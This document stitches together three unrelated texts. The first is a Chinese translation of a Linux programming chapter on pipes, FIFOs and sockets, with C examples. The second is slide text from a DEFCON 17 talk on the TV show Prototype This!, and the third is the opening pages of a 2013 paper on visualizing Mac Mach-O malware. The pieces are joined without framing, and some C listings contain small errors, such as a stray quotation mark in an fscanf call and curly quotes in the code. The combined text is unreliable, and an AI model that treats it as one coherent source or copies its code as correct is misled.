代表指向标准输入的文件描述符。它的值为 0。这个函数会 关闭标准输入,然后将它作为 fd 的副本重新打开,从而使两个标识符可以互换使用。 相互等效的文件描述符之间共享文件访问位置和相同的一组文件状态标志。因此,从 fd 中读取的字符不会再次从标志输入中被读取。 列表 5.8 中的程序利用dup2 系统调用将一个管道的输出发送到sort命令。 2当创建了 一个管道之后,程序生成了子进程。父进程向管道中写入一些字符串,而子进程利用dup2 将管道的读取端描述符复制到自己的标准输入,然后执行sort程序。 代码列表 5.8 (dup2.c)用 dup2 重定向管道输出 #include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main () { int fds[2]; pid_t pid; /* 创建管道。标识管道两端的文件描述符会被放置在 fds 中。*/ pipe (fds); /* 产生子进程。*/ www.AdvancedLinuxProgramming.com 95 2 sort 程序从标志输入按行读取文本信息,按照字母序进行排列,然后输出到标准输出。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 pid = fork (); if (pid == (pid_t) 0) { /* 这里是子进程。关闭我们的写入端描述符。*/ close (fds[1]); /* 将读取端连接到标准输入*/ dup2 (fds[0], STDIN_FILENO); /* 用 sort 替换子进程。*/ execlp ("sort", "sort", 0); } else { /* 这是父进程。*/ FILE* stream; /* 关闭我们的读取端描述符。*/ close (fds[0]); /* 将写入端描述符转换为一个 FILE 对象,然后将信息写入。*/ stream = fdopen (fds[1], "w"); fprintf (stream, "This is a test.\n"); fprintf (stream, "Hello, world.\n"); fprintf (stream, "My dog has fleas.\n"); fprintf (stream, "This program is great.\n"); fprintf (stream, "One fish, two fish.\n"); fflush (stream); close (fds[1]); /* 等待子进程结束。*/ waitpid (pid, NULL, 0); } return 0; } 5.4.4 popen 和 pclose 管道的一个常见用途是与一个在子进程中运行的程序发送和接受数据。而 popen 和 pclose 函数简化了这个过程。它取代了对 pipe、fork、dup2、exec 和 fdopen 的一系 列调用。 下面将使用了 popen 和 pclose 的列表 5.9 与之前一个例子(列表 5.8)进行比较。 代码列表 5.9 (popen.c)使用 popen 的示例 #include <stdio.h> #include <unistd.h> int main () { www.AdvancedLinuxProgramming.com 96 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 FILE* stream = popen ("sort", "w"); fprintf (stream, "This is a test.\n"); fprintf (stream, "Hello, world.\n"); fprintf (stream, "My dog has fleas.\n"); fprintf (stream, "This program is great.\n"); fprintf (stream, "One fish, two fish.\n"); return pclose (stream); } 通过调用 popen 取代 pipe、fork、dup2 和 execlp 等,一个子进程被创建以执行了 sort 命令,。第二个参数,”w”,指示出这个进程希望对子进程输出信息。Popen 的返回值 是管道的一端;另外一端连接到了子进程的标准输入。在数据输出结束后,pclose 关闭了 子进程的流,等待子进程结束,然后将子进程的返回值作为函数的返回值返回给调用进程。 传递给 popen 的第一个参数会作为一条 shell 命令在一个运行/bin/sh 的子进程中执 行。Shell 会照常搜索 PATH 环境变量以寻找应执行的程序。如果第二个参数是"r",函数会 返回子进程的标准输出流以便父进程读取子进程的输出。如果第二个参数是"w",函数返回 子进程的标准输入流一边父进程发送数据。如果出现错误,popen 返回空指针。 调用 pclose 会关闭一个由 popen 返回的流。在关闭指定的流之后,pclose 将等待子 进程退出。 5.4.5 FIFO 先入先出(first-in, first-out, FIFO)文件是一个在文件系统中有一个名字的管道。任何 进程均可以打开或关闭 FIFO;通过 FIFO 连接的进程不需要是彼此关联的。FIFO 也被称为 命名管道。 可以用 mkfifo 命令创建 FIFO;通过命令行参数指定 FIFO 的路径。例如,运行这个 命令将在/tmp/fifo 创建一个 FIFO: % mkfifo /tmp/fifo % ls -l /tmp/fifo prw-rw-rw- 1 samuel users 0 Jan 16 14:04 /tmp/fifo ls 输出的第一个字符是 p,表示这个文件实际是一个 FIFO(命名管道)。在一个窗口 中这样从 FIFO 中读取内容: % cat < /tmp/fifo 在第二个窗口中这样向 FIFO 中写入内容: % cat > /tmp/fifo 然后输入几行文字。每次你按下回车后,当前一行文字都会经由 FIFO 发送到第一个窗 口。通过在第二个窗口中按 Ctrl+D 关闭这个 FIFO。运行下面的命令删除这个 FIFO: % rm /tmp/fifo 创建 FIFO 通过编程方法创建一个 FIFO 需要调用 mkfifo 函数。第一个参数是要创建 FIFO 的路 径,第二个参数是被创建的 FIFO 的属主、属组和其它用户权限。关于权限,第十章“安全” 的 10.3 节“文件系统权限”中进行了介绍。因为管道必然有程序读取信息、有程序写入信 息,因此权限中必须包含读写两种权限。如果无法成功创建管道(如当同名文件已经存在的 时 候 ), mkfifo 返 回 -1 。 当 你 调 用 mkfifo 的 时 候 需 要 包 含 <sys/types.h> 和 www.AdvancedLinuxProgramming.com 97 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 <sys/stat.h>。 访问 FIFO 访问 FIFO与访问普通文件完全相同。要通过 FIFO通信,必须有一个程序打开这个 FIFO 写入信息,而另一个程序打开这个 FIFO 读取信息。底层 I/O 函数(open、write、read、 close 等,列举在附录 B“底层 I/O”中)或 C 库 I/O 函数(fopen、fprintf、fscanf、 fclose 等)均适用于访问 FIFO。 例如,要利用底层 I/O 将一块缓存区的数据写入 FIFO 可以这样完成: int fd = open (fifo_path, O_WRONLY); write (fd, data, data_length); close (fd); 利用 C 库 I/O 从 FIFO 读取一个字符串可以这样做: FILE* fifo = fopen (fifo_path, "r"); fscanf (fifo, "%s", buffer"); fclose (fifo); FIFO 可以有多个读取进程和多个写入进程。来自每个写入进程的数据当到达 PIPE_BUF(Linux 系统中为 4KB)的时候会自动写入 FIFO。并发写入可能导致数据块的互 相穿插。同步读取也会出现相似的问题。 与 Windows 命名管道的区别 Win32 操作系统的管道与Linux系统中提供的相当类似。(相关技术细节可以从Win32 库 文档中获得印证。)主要的区别在于,Win32 系统上的命名管道的功能更接近套接字。Win32 命名管道可以用于连接处于同一个网络中不同主机上的不同进程之间相互通信。Linux系统 中,套接字被用于这种情况。同时,Win32 保证同一个命名管道上的多个读——写连接不出 现数据交叉情况,而且管道可以用于双向交流。 3 5.5 套接字 套接字是一个双向通信设备,可用于同一台主机上不同进程之间的通信,也可用于沟通 位于不同主机的进程。套接字是本章中介绍的所有进程间通信方法中唯一允许跨主机通信的 方式。Internet 程序,如 Telnet、rlogin、FTP、talk 和万维网都是基于套接字的。 例如,你可以用一个Telnet程序从一台网页服务器获取一个万维网网页,因为它们都使 用套接字作为网络通信方式 4。可以通过执行telnet www.codesourcery.com 80 连接到 位于www.codesourcery.com主机的网页服务器。魔数 80 指明了连接的目标进程是运行于 www.codesourcery.com的网页服务器而不是其它什么进程。成功建立连接后,试着输入 GET /。这会通过套接字发送一条消息给网页服务器,而相应的回答则是服务器将主页的 HTML代码传回然后关闭连接——例如: % telnet www.codesourcery.com 80 Trying 206.168.99.1... www.AdvancedLinuxProgramming.com 98 Connected to merlin.codesourcery.com (206.168.99.1). 3 注意只有 Windows NT 可以建立命名管道;Windows 9x 程序只能建立客户连接。 4 通常 telnet 程序用于连接到 Telnet 服务器执行远程登陆。但你也可以使用 telnet 程序连接到 其它类型的服务器然后直接向它发送命令。 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 Escape character is '^]'. GET / <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> ... 5.5.1 套接字概念 当你创建一个套接字的时候你需要指定三个参数:通信类型,命名空间和协议。 通信类型决定了套接字如何对待被传输的数据,同时指定了参与传输过程的进程数量。 当数据通过套接字发送的时候会被分割成段落,这些段落分别被称为一个包(packet)。通 信类型决定了处理这些包的方式,以及为这些包定位目标地址的方式。 · 连接式(Connection style)通信保证所有包都以发出时的顺序被送达。如果由于网 络的关系出现包丢失或顺序错乱,接收端会自动要求发送端重新传输。 连接类型的套接字可想象成电话:发送和接收端的地址在开始时连接被建立的时候 都被确定下来。 · 数据报式(Datagram style)的通信不确保信息被送到,也不保证送到的顺序。数 据可能由于网络问题或其它情况在传输过程中丢失或重新排序。每个数据包都必须 标记它的目标地址,而且不会被保证送到。系统仅保证“尽力”做到,因此数据包 可能消失,或以与发出时不同的顺序被送达。 数据报类型的通信更类似邮政信件。发送者为每个单独信息标记收信人地址。 套接字的命名空间指明了套接字地址的书写方式。套接字地址用于标识一个套接字连接 的一个端点。例如,在“本地命名空间”中的套接字地址是一个普通文件。而在“Internet 命名空间”中套接字地址由网络上的一台主机的 Internet 地址(也被称为 Internet 协议地址 或 IP 地址)和端口号组成。端口号用于区分同一台主机上的不同套接字。 协议指明了数据传输的方式。常见的协议有如下几种:TCP/IP,Internet 上使用的最主 要的通信协议;AppleTalk 网络协议;UNIX 本地通信协议等。通信类型、命名空间和协议 三者的各种组合中,只有部分是有效的。 5.5.2 系统调用 套接字比之前介绍的任何一种进程间通信方法都更具弹性。这里列举了与套接字相关的 系统调用: socket——创建一个套接字 close——销毁一个套接字 connect——在两个套接字之间创建连接 bind——将一个服务器套接字绑定一个地址 listen——设置一个套接字为接受连接状态 accept——接受一个连接请求并为新建立的连接创建一个新的套接字 套接字通常被表示为文件描述符。 www.AdvancedLinuxProgramming.com 99 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 创建和销毁套接字 Socket 和 close 函数分别用于创建和销毁套接字。当你创建一个套接字的时候,需指 明三种选项:命名空间,通信类型和协议。利用 PF_开头(标识协议族,protocol families) 的常量指明命名空间类型。例如,PF_LOCAL 或 PF_UNIX 用于标识本地命名空间,而 PF_INET 表示 Internet 命名空间。用以 SOCK_开头的常量指明通信类型。SOCK_STREAM 表示连接类型的套接字,而 SOCK_DGRAM 表示数据报类型的套接字。 第三个参数,协议,指明了发送和接收数据的底层机制。每个协议仅对一种命名空间和 通信类型的组合有效。因为通常来说,对于某种组合都有一个最合适的协议,为这个参数指 定 0 通常是最合适的选择。如果 socket 调用成功则会返回一个表示这个套接字的文件描述 符。与操作普通文件描述符一样,你可以通过 read 和 write 对这个套接字进行读写。当 你不再需要它的时候,应调用 close 删除这个套接字。 调用 connect 要在两个套接字之间建立一个连接,客户端需指定要连接到的服务器套接字地址,然后 调用 connect。客户端指的是初始化连接的进程,而服务端指的是等待连接的进程。客户 端调用 connect 以在本地套接字和第二个参数指明的服务端套接字之间初始化一个连接。 第三个参数是第二个参数中传递的标识地址的结构的长度,以字节计。套接字地址格式随套 接字命名空间的不同而不同。 发送信息 所有用于读写文件描述符的技巧均可用于读写套接字。关于 Linux 底层 I/O 函数及一些 相关使用问题的讨论请参考附录 B。而专门用于操作套接字的 send 函数提供了 write 之外 的另一种选择,它提供了 write 所不具有的一些特殊选项;参考 send 的手册页以获取更 多信息。 5.5.3 服务器 服务器的生命周期可以这样描述:创建一个连接类型的套接字,绑定一个地址,调用 listen 将套接字置为监听状态,调用 accept 接受连接,最后关闭套接字。数据不是直接 经由服务套接字被读写的;每次当程序接受一个连接的时候,Linux 会单独创建一个套接字 用于在这个连接中传输数据。在本节中,我们将介绍 bind、listen 和 accept。 要想让客户端找到,必须用 bind 将一个地址绑定到服务端套接字。Bind 函数的第一 个参数是套接字文件描述符。第二个参数是一个指针,它指向表示套接字地址的结构。它的 格式取决于地址族。第三个参数是地址结构的长度,以字节计。将一个地址绑定到一个连接 类型的套接字之后,必须通过调用 listen 将这个套接字标识为服务端。Listen 的第一个 参数是套接字文件描述符。第二个参数指明最多可以有多少个套接字处于排队状态。当等待 连接的套接字超过这个限度的时候,新的连接将被拒绝。它不是限制一个服务器可以接受的 连接总数;它限制的是被接受之前允许尝试连接服务器的客户端总数。 服务端通过调用 accept 接受一个客户端连接。第一个参数是套接字文件描述符。第二 个参数是一个指向套接字地址结构的指针;接受连接后,客户端地址将被写入这个指针指向 的结构中。第三个参数是套接字地址结构体的长度,以字节计。服务端可以通过客户端地址 确定是否希望与客户端通信。调用 accept 会创建一个用于与客户端通信的新套接字,并返 回对应的文件描述符。原先的服务端套接字继续保持监听连接的状态。用 recv 函数可以从 套接字中读取信息而不将这些信息从输入序列中删除。它在接受与 read 相同的一组参数的 www.AdvancedLinuxProgramming.com 100 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 基础上增添了一个 FLAGS 参数。指定 FLAGS 为 MSG_PEEK 可以使被读取的数据仍保留 在输入序列中。 5.5.4 本地套接字 要通过套接字连接同一台主机上的进程,可以使用符号常量 PF_LOCAL 和 PF_UNIX 所代表的本地命名空间。它们被称为本地套接字(local sockets)或者 UNIX 域套接字 (UNIX-domain sockets)。它们的套接字地址用文件名表示,且只在建立连接的时候使用。 套接字的名字在 struct sockaddr_un 结构中指定。你必须将 sun_family 字段设置 为 AF_LOCAL 以表明它使用本地命名空间。该结构中的 sun_path 字段指定了套接字使用 的路径,该路径长度必须不超过 108 字节。而 struct sockaddr_un 的实际长度应由 SUN_LENG 宏计算得到。可以使用任何文件名作为套接字路径,但是进程必须对所指定的 目录具有写权限,以便向目录中添加文件。如果一个进程要连接到一个本地套接字,则必须 具有该套接字的读权限。尽管多台主机可能共享一个文件系统,只有同一台主机上运行的程 序之间可以通过本地套接字通信。 本地命名空间的唯一可选协议是 0。 因为它存在于文件系统中,本地套接字可以作为一个文件被列举。如下面的例子,注意 开头的 s: % ls -l /tmp/socket srwxrwx--x 1 user group 0 Nov 13 19:18 /tmp/socket 当结束使用的时候,调用 unlink 删除本地套接字。 5.5.5 使用本地套接字的示例程序 我们用两个程序展示套接字的使用。列表 5.10 中的服务器程序建立一个本地命名空间 套接字并通过它监听连接。当它连接之后,服务器程序不断从中读取文本信息并输出这些信 息直到连接关闭。如果其中一条信息是“quit”,服务器程序将删除套接字,然后退出。服 务器程序 socket-server 接受一个标识套接字路径的命令行参数。 代码列表 5.10 (socket-server.c)本地命名空间套接字服务器 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/un.h> #include <unistd.h> /* 不断从套接字读取并输出文本信息直到套接字关闭。当客户端发送“quit”消息的 时候返回非 0 值,否则返回 0。*/ int server (int client_socket) { while (1) { www.AdvancedLinuxProgramming.com 101 int length; 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 char* text; /* 首先,从套接字中获取消息的长度。如果 read 返回 0 则说明客户端关闭了连 接。*/ if (read (client_socket, &length, sizeof (length)) == 0) return 0; /* 分配用于保存信息的缓冲区。*/ text = (char*) malloc (length); /* 读取并输出信息。*/ read (client_socket, text, length); printf (“%s\n”, text); /* 如果客户消息是“quit”,我们的任务就此结束。*/ if (!strcmp (text, “quit”)) { /* 释放缓冲区。*/ free (text); return 1; } /* 释放缓冲区。*/ free (text); /* 译者注:合并了勘误中的提示,并增加此返回语句。*/ return 0; } } int main (int argc, char* const argv[]) { const char* const socket_name = argv[1]; int socket_fd; struct sockaddr_un name; int client_sent_quit_message; /* 创建套接字。*/ socket_fd = socket (PF_LOCAL, SOCK_STREAM, 0); /* 指明这是服务器。*/ name.sun_family = AF_LOCAL; strcpy (name.sun_path, socket_name); bind (socket_fd, &name, SUN_LEN (&name)); /* 监听连接。*/ listen (socket_fd, 5); /* 不断接受连接,每次都调用 server() 处理客户连接。直到客户发送“quit”消 息的时候退出。*/ do { www.AdvancedLinuxProgramming.com 102 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 struct sockaddr_un client_name; socklen_t client_name_len; int client_socket_fd; /* 接受连接。*/ client_socket_fd = accept (socket_fd, &client_name, &client_name_len); /* 处理连接。*/ client_sent_quit_message = server (client_socket_fd); /* 关闭服务器端连接到客户端的套接字。*/ close (client_socket_fd); } while (!client_sent_quit_message); /* 删除套接字文件。*/ close (socket_fd); unlink (socket_name); return 0; } 列表 5.11 中的客户端程序将连接到一个本地套接字并发送一条文本消息。本地套接字 的路径和要发送的消息由命令行参数指定。 代码列表 5.11 (socket-client.c)本地命名空间套接字客户端 #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <sys/un.h> #include <unistd.h> /* 将 TEXT 的内容通过 SOCKET_FD 代表的套接字发送。*/ void write_text (int socket_fd, const char* text) { /* 输出字符串(包含结尾的 NUL 字符)的长度。*/ int length = strlen (text) + 1; write (socket_fd, &length, sizeof (length)); /* 输出字符串。*/ write (socket_fd, text, length); } int main (int argc, char* const argv[]) www.AdvancedLinuxProgramming.com 103 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 { const char* const socket_name = argv[1]; const char* const message = argv[2]; int socket_fd; struct sockaddr_un name; /* 创建套接字。*/ socket_fd = socket (PF_LOCAL, SOCK_STREAM, 0); /* 将服务器地址写入套接字地址结构中。*/ name.sun_family = AF_LOCAL; strcpy (name.sun_path, socket_name); /* 连接套接字。*/ connect (socket_fd, &name, SUN_LEN (&name)); /* 将由命令行指定的文本信息写入套接字。*/ write_text (socket_fd, message); close (socket_fd); return 0; } 在客户端发送文本信息之前,客户端先通过发送整型变量 length 的方式将消息的长度 通知服务端。类似的,服务端在读取消息之前先从套接字读取一个整型变量以获取消息的长 度。这提供给服务器一个在接收信息之前分配合适大小的缓冲区保存信息的方法。 要尝试这个例子,应在一个窗口中运行服务端程序。指定一个套接字文件的路径——例 如 /tmp/socket 作为参数: % ./socket-server /tmp/socket 在另一个窗口中指明同一个套接字和消息,并多次运行客户端程序。 % ./socket-client /tmp/socket “Hello, world.” % ./socket-client /tmp/socket “This is a test.” 服务端将接收并输出这些消息。要关闭服务端程序,从客户端发送“quit”即可: % ./socket-client /tmp/socket “quit” 这样服务端程序就会退出。 5.5.6 Internet 域套接字 UNIX 域套接字只能用于同主机上的两个进程之间通信。Internet 域套接字则可以用来 连接网络中不同主机上的进程。 用于在 Internet 范围连接不同进程的套接字属于 Internet 命名空间,使用 PF_INET 表示。 最常用的协议是 TCP/IP。Internet 协议(Internet Protocol,IP)是一个低层次的协议,负责 包在 Internet 中的传递,并在需要的时候负责分片和重组数据包。它只保证“尽量”地发送, 因此包可能在传输过程中丢失,或者前后顺序被打乱。参与传输的每台主机都由一个独一无 www.AdvancedLinuxProgramming.com 104 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 二的 IP 数字标识。传输控制协议(Transmission Control Protocol,TCP)架构于 IP 协议之 上,提供了可靠的面向连接的传输。它允许主机之间建立类似电话的连接且保证数据传输的 可靠性和有序性。 Internet 套接字的地址包含两个部分:主机和端口号。这些信息保存在 sockaddr_in 结构中。将 sin_family 字段设置为 AF_INET 以表示这是一个 Internet 命名空间地址。目 标主机的 Internet 地址作为一个 32 位整数保存在 sin_addr 字段中。端口号用于区分同一台 主机上的不同套接字。因为不同主机可能将多字节的值按照不同的字节序存储,应将 htons 将端口号转换为网络字节序。参看 ip 的手册页以获取更多信息。 可以通过调用 gethostbyname 函数将一个可读的主机名——包括标准的以点分割的 IP 地址(如 10.0.0.1)或 DNS 名(如 www.codesourcery.com)——转换为 32 位 IP 数 字。这个函数返回一个指向 struct hostent 结构的指针;其中的 h_addr 字段包含了主 机的 IP 数字。参考列表 5.12 中的示例程序。 列表 5.12 展示了 Internet 域套接字的使用。这个程序会获取由命令行指定的网页服务器 的首页。 代码列表 5.12 (socket-inet.c)从 WWW 服务器读取信息 #include <stdlib.h> #include <stdio.h> #include <netinet/in.h> #include <netdb.h> #include <sys/socket.h> #include <unistd.h> #include <string.h> /* 从服务器套接字中读取主页内容。返回成功的标记。*/ void get_home_page (int socket_fd) { char buffer[10000]; ssize_t number_characters_read; /* 发送 HTTP GET 请求获取主页内容。*/ sprintf (buffer, “GET /\n”); write (socket_fd, buffer, strlen (buffer)); /* 从套接字中读取信息。调用 read 一次可能不会返回全部信息,所以我们必须不 断尝试读取直到真正结束。*/ while (1) { number_characters_read = read (socket_fd, buffer, 10000); if (number_characters_read == 0) return; /* 将数据输出到标准输出流。*/ fwrite (buffer, sizeof (char), number_characters_read, stdout); } } www.AdvancedLinuxProgramming.com 105 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 int main (int argc, char* const argv[]) { int socket_fd; struct sockaddr_in name; struct hostent* hostinfo; /* 创建套接字。*/ socket_fd = socket (PF_INET, SOCK_STREAM, 0); /* 将服务器地址保存在套接字地址中。*/ name.sin_family = AF_INET; /* 将包含主机名的字符串转换为数字。*/ hostinfo = gethostbyname (argv[1]); if (hostinfo == NULL) return 1; else name.sin_addr = *((struct in_addr *) hostinfo->h_addr); /* 网页服务器使用 80 端口。*/ name.sin_port = htons (80); /* 连接到网页服务器。*/ if (connect (socket_fd, &name, sizeof (struct sockaddr_in)) == -1) { perror (“connect”); return 1; } /* 读取主页内容。*/ get_home_page (socket_fd); return 0; } 这个程序从命令行读取服务器的主机名(不是 URL——也就是说,地址中不包括 “http://”部分)。它通过调用 gethostbyname 将主机名转换为 IP 地址,然后与主机的 80 端口建立一个流式(TCP 协议的)套接字。网页服务器通过超文本传输协议(HyperText Transport Protocol,HTTP),因此程序发送 HTTP GET 命令给服务器,而服务器传回主页 内容作为响应。 例如,可以这样运行程序从 www.codesourcery.com 获取主页: % ./socket-inet www.codesourcery.com <html> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> ... www.AdvancedLinuxProgramming.com 106 高级 Linux 程序设计·卷一·Linux 平台上的高级 UNIX 编程 完美废人 译 标准端口号 根据习惯,网页服务器在 80 端口监听客户端连接。多数 Internet 网络服务都被分配 了标准端口号。例如,使用 SSL 的安全网页服务器的在 443 端口监听连接,而邮件服务 器(利用 SMTP 协议通信)使用端口 25。 在 GNU/Linux 系统中,协议——服务名关系列表被保存在了/etc/services。 该文件的第一栏是协议或服务名,第二栏列举了对应的端口号和连接类型:tcp 代表 了面向连接的协议,而 udp 代表数据报类型的。 如果你用 Internet 域套接字实现了一个自己的协议,应使用高于 1024 的端口号进 行监听。 5.5.7 套接字对 如前所示,pipe 函数创建了两个文件描述符,分别代表管道的两端。管道有所限制因 为文件描述符只能被相关进程使用且经由管道进行的通信是单向的。而 socketpair 函数 为一台主机上的一对相连接的的套接字创建两个文件描述符。这对文件描述符允许相关进程 之间进行双向通信。 它的前三个参数与 socket 系统调用相同:分别指明了域、通信类型(译者著:原文为 connection style 连接类型,与前文不符,特此修改)和协议。最后一个参数是一个包 含两个元素的整型数组,用于保存创建的两个套接字的文件描述符,与 pipe 的参数类似。 当调用 socketpair 的时候,必须指定 PF_LOCAL 作为域。 www.AdvancedLinuxProgramming.com 107
pdf
Joe Grand aka The Projects of... DEFCON 17 Zoz aka ๏ Engineering entertainment program on Discovery Channel ๏ Four guys building prototypes of crazy things ๏ Try to follow the "true" design process ๏ Premiered October 2008 (US), ~February 2009 (World) ๏ Thirteen episodes ๏ ~1 million households/episode ๏ www.discovery.com/prototypethis Prototype This! electrical engineer. hardware hacker. daddy. Joe Grand robotics. software programming. mad scientist. mit. Zoz Brooks materials scientist. mechanical engineer. ucsb. Mike North special effects. machinist. fabricator. Terry Sandin joe andreas. kevin binkert. steve lassovsky. flaming lotus girls. nemo gould. diana coopersmith. many, many more. Friends We built stuff like this... We built stuff like this... We built stuff like this... With not a lot of this... (Contrary to popular belief...) Challenges ๏ TV is nothing like how it really happens in real life • Don't believe the hype ๏ Most producers/editors/execs were not technical and didn't care to be • Were only interested in the final result ๏ Did not understand the complexity of the tasks • Assumed everything was easy ๏ Wanted unrealistic projects that had never been done before built in two weeks or less • Ex.: X-ray glasses, personal force field ๏ How to make engineering sexy? Traffic Busting Truck • Omnidirectional Wheels • Autonomous Parking • Drive/Park Over Traffic • ~4 weeks Traffic Busting Truck • BASIC Stamp 2p40 • RF Keyfob • Wireless PS2 Controller for manual couch/truck control • Solenoid/Hydraulic Valve control via MOSFET • DS1867 Digital Potentiometers for Joystick Emulation for omnidirectional wheel control • Serial port I/F to communicate w/ Zoz's autonomous control S/W Traffic Busting Truck • IR, US: single range • Stereo: 640x480 RGBD map • IR: detect suitable gaps between parked cars • Stereo: parallel alignment of vehicle at parking distance • Ultrasonic: curb detection for park slide completion Traffic Busting Truck Sensors Parallax PING))) ultrasonic rangefinder Sharp GP2 infrared rangefinder Videre Design STOC stereo camera Fire Fighter PyroPack • High-tech FF pack & headset • ~2 weeks Fire Fighter PyroPack Sexy 3-D Body Scans!@# Nerds Gone Wild! Fire Fighter PyroPack • Pack "printed" by Forecast 3D, San Diego Fire Fighter PyroPack • Breathing air tank • Primary regulator • Digital pressure transmitter • Dry-chem • Makita 18V drill battery • Circuit board • Thermal imaging camera • Heads-up microdisplay Fire Fighter PyroPack • BASIC Stamp 2sx • Parallax RFID Reader • Memsic 2125 Accelerometer • BOB-4-H On-Screen Display Module • eMagin Reference Board • Thermal image • Temperature display • % of remaining air • Firefighter identification Virtual Sea Adventure • Underwater Projection • Remotely Controlled Seabotix ROV via 1000ft. Ethernet • Magnetic Thumb Control • Live HD Video Feed • ~2 weeks Virtual Sea Adventure • BASIC Stamp 2 • Melexis MLX90333 3-D Magnetic Position Sensors • ADC0834 Analog-to-Digital ICs • Lantronix XPORT Serial-to-Ethernet Interface (sends control data inside UDP Broadcast packet) Virtual Sea Adventure Waterslide Simulator • Fully computer controlled motion simulator • Real water!@# • Over 30 feet tall • 5 weeks (build/program/test) • CAD/FEA predesign by Acorn Waterslide Simulator • 3D rendering of waterslide by Splashtacular • 3600 ft slide – too much for physics sim package! • 6-axis camera flythrough • 3DOF output mapping: lift, tilt, rotation Waterslide Simulator • Heavy metal! • RMC150 embedded motion controller • 6 linear axes (2 lift, 4 tilt), 1 rotary • UDP direct write access to RMC150 registers Waterslide Simulator Control • 3DOF B-Spline interpolated axis data downloaded to RMC • Controller/visualizer (OS X Java) UDP commands RMC • RMCTools (Windows in VM) monitors & tweaks control loops • Secondary visualizers (OS X Java) synced via UDP Flying Lifeguard • Lifesaving equipment for the "beach of the future" • Autonomous airplane with lifejacket delivery • Short-range auto-positioning pneumatic cannon to shoot lifejacket into surf zone • Wristband transmitter worn by swimmer sends GPS coordinates Flying Lifeguard • BASIC Stamp 2 • Aerocomm AC4490 900MHz RF Transceiver • Parallax GPS Receiver Module • Enclosure made with Z-Corp 3D printer Flying Lifeguard • BASIC Stamp 2sx • Micromega uM FPU Floating Point Coprocessor • Aerocomm AC4490 900MHz RF Transceiver • Parallax GPS Receiver Module • Anemometer (Wind Speed & Direction) • Miniature OLED • Lantronix XPORT Serial-to-Ethernet Interface (data sent to Zoz's PC for real calculations) Flying Lifeguard • Micropilot MP2028 UAV & HORIZON ground control software • Rocket launch via sled mechanism • Some custom plug-ins for more accurate GPS tracking • Servo-controlled payload deployment Flying Lifeguard • Cannon firing solution • Map lat/longs to WGS-84 ellipsoid • Correct for magnetic/true North • Compute base chamber pressure for range • Anemometer data to correct for wind speed and direction • UAV launch procedure • Load lat/longs into HORIZON • Set up approach run with waypoints • GPS only samples @ 1 Hz! • Trigger drop servo within target range predictor MORE DETAILS AT : www.grandideastudio.com/prototype-this/
pdf
Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! ' ' ' ' Defcon'2013' Mach%O'Malware'Analysis:' Combatting*Mac*OSX/iOS*Malware*with*Data*Visualization* ' Remy'Baumgarten' ANRC'LLC.' Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Mach%O'Malware'Analysis:' Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization' Remy!Baumgarten,!Security!Engineer,!ANRC!LLC.! Draft&Date:&Apr&02,&2013& ! Apple!has!successfully!pushed!both!its!mobile!and!desktop!platforms!into!our!homes,!schools!and!work! environments.!!With!such!a!dominant!push!of!its!products!into!our!everyday!lives!it!comes!as!no! surprise!that!both!of!Apple’s!operating!systems,!OSX!and!iOS!should!fall!under!attack!by!malware! developers!and!network!intruders.!!Numerous!organizations!and!Enterprises!who!have!implemented! BYOD!(bring!your!own!device)!company!policies!have!seemingly!neglected!the!security!effort!involved! in!protecting!the!network!infrastructure!from!these!potential!insider!threats.!The!complexity!of! analyzing!MachNO!(Mach!object!file!format)!binaries!and!the!rising!prevalence!of!MacNspecific!malware! has!created!a!real!need!for!a!new!type!of!tool!to!assist!in!the!analytic!efforts!required!to!rapidly! identify!malicious!content.!!In!this!paper!we!will!introduce!Mach3O&Viz,!a!MachNO!Interactive!Data! Visualization!tool!that!lends!itself!to!the!role!of!aiding!security!engineers!in!quickly!and!efficiently! identifying!potentially!malicious!MachNO!files!on!the!network,!desktop!and!mobile!devices!of! connected!users.! ! ! ! ! ! ! ! ! ! ! ! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Introduction!.....................................................................................................................................................................!4! Why!a!New!Tool?!............................................................................................................................................................!5! Introducing!Mach:O!Viz!...............................................................................................................................................!6! Demonstrating!Mach:O!Viz’s!Features:!Analysis!of!CustomInstaller!a.ka.!Yontoo!Trojan!..................!11! Analysis!of!keychain_dumper:!iOS!Hacker!Utility!.............................................................................................!19! Analysis!of!MacDefender:!OSX’s!First!Malware!Threat!...................................................................................!25! Mach:O!Viz:!Where!To!Go!From!Here!....................................................................................................................!29! Conclusions!....................................................................................................................................................................!29! About!ANRC!....................................................................................................................................................................!30! Contact!.............................................................................................................................................................................!30! ! ! ! Mach%O'Malware'Analysis:'Combatting'Mac'OSX/iOS'Malware'with'Data'Visualization! ! Introduction! ! ! These!days!it!is!safe!to!say!that!Mac!is!almost!everywhere.!!From!our!MacBook!laptops!to!our!mobile! devices!such!as!iPhones!and!iPads,!the!prevalence!of!Mac!computing!cannot!be!ignored!and!makes!for!a! lucrative!target!for!malware!authors!and!potential!network!intruders.!!Over!the!past!few!years!we’ve!seen! examples!of!Mac!malware!make!its!way!through!the!prying!eyes!of!the!quality!assurance!engineers!at!Apple’s! 